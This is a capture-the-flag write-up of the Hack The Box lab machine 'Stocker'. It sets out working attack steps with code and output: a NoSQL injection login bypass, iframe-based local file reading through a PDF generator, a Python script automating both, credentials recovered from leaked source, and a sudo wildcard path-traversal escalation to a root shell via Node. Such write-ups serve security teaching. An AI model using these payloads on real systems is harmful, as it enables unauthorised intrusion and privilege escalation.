Stocker hackthebox writeup
User Flag
The usual port scan gives us the usual information
$ nmap -sS -n -Pn --min-rate 5000 -p- -vv -oN allports 10.129.134.26
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nevertheless, it’s essential to do an in-depth port scan.
$ nmap -sCV -vv -p22,80 -oN targeted 10.129.134.26
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
...
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port number 80 is redirecting us to stocker.htb so let’s just add that to /etc/hosts
. The website is just a normal static site. However, The we’re still actively developing sentence makes me think there may be some virtual host thus I started fuzzing.
$ ffuf -w ~/wordlist/subdomains-UPDATED.txt -u http://stocker.htb -fs 178 -H 'Host: FUZZ.stocker.htb' -v
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : http://stocker.htb
:: Wordlist : FUZZ: /home/dasor/wordlist/subdomains-UPDATED.txt
:: Header : Host: FUZZ.stocker.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 178
________________________________________________
[Status: 302, Size: 28, Words: 4, Lines: 1]
| URL | http://stocker.htb
| --> | /login
* FUZZ: dev
It seems my intuition was correct! let’s add this to /etc/hosts
. Ok, now we have a login page thus is time to bypass it. Neither SQL injection nor LDAP injection worked so I tried NoSQL injection. Taking a look at Hacktricks payloads I found this one worked. Just intercept the request with burpsuite, change the Content-Type
to application/json
and bypass the login.
Now we are against a shop that generates a pdf of our order. Again if you intercept the request with burpsuite you can see how JSON is being sent, this seems like a great attack vector. We have the ability to change the value of the parameters as we please, so I tested a basic HTML injection like <h1>Test</h1>
and fairly enough it worked. Now we may be able to get LFI thanks to the XSS. By using a payload like this <iframe width=800 height=800 src=file:///etc/passwd></iframe>
we get local file inclusion. The width and height parameters are important so the file can be seen completely. We can see the only user is called angoose
At this point, I tried to expose the source code of the website by creating a python script to automate the LFI process and also creating a small wordlist.
#!/usr/bin/python3
import requests
import sys
import urllib.parse
def send_data(wordlist):
# convert to list
url = 'http://dev.stocker.htb/login'
## send json data to the server
data = {"username": {"$ne": "toto"}, "password": {"$ne": "too" }}
r = requests.post(url, json=data, allow_redirects=False)
cookie = r.headers['Set-Cookie']
cookie = cookie[:cookie.find(';')]
f = open(wordlist, 'r')
for line in f:
url = "http://dev.stocker.htb/api/order"
line = line[:-1]
lfi = "<iframe width=800 height=800 src=file:///" + line
lfi = lfi + "></iframe>"
data = {"basket":[{"_id":"638f116eeb060210cbd83a8d","title":lfi,"image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
r = requests.post(url, json=data, headers={'Cookie': cookie})
pdf_id = r.text[r.text.find('6') : r.text.rfind('"')]
url = "http://dev.stocker.htb/api/po/" + pdf_id
r = requests.get(url, headers={'Cookie': cookie})
if len(r.text) != 35267:
print("[+] file: " + line)
print(" id:" + pdf_id)
if __name__ == '__main__':
send_data(sys.argv[1])
and the wordlist
/var/www/html/index.html
/var/www/html/index.js
/var/www/html/dev/index.js
/var/www/html/dev/index.html
/var/www/dev/index.html
/var/www/dev/index.js
Then I ran the script
$ ./stocker.py custom_wordlist
[+] file: /var/www/html/index.html
id:63c6b10fa675cbb8a7a15007
[+] file: /var/www/dev/index.js
id:63c6b117a675cbb8a7a15020
In the second file, we can find a string with credentials
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
If we try to log in via ssh
$ ssh angoose@stocker.htb
angoose@stocker.htb's password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
angoose@stocker:~$
Great we have the user flag!
Root flag
The first thing I always do to privesc is check sudo -l
and this time it has some interesting information.
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
Now I have to admit, I got stuck a little here, but by just thinking about it for a bit I came up with the solution. It is actually very simple, if you think a bit out of the box and remember the strict meaning of the wildcard *
then it’s done. Basically, that line does not mean that you can only execute the javascript files inside /usr/local/scripts
, it means you can execute every javascript file on the system. This is because the wildcard can be everything including ../
.
Then I just created a .js
file with these contents and got root.
angoose@stocker:~$ cat privesc.js
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
angoose@stocker:~$ sudo node /usr/local/scripts/../../../../home/angoose/privesc.js
# whoami
root
#
That is all, thanks for reading!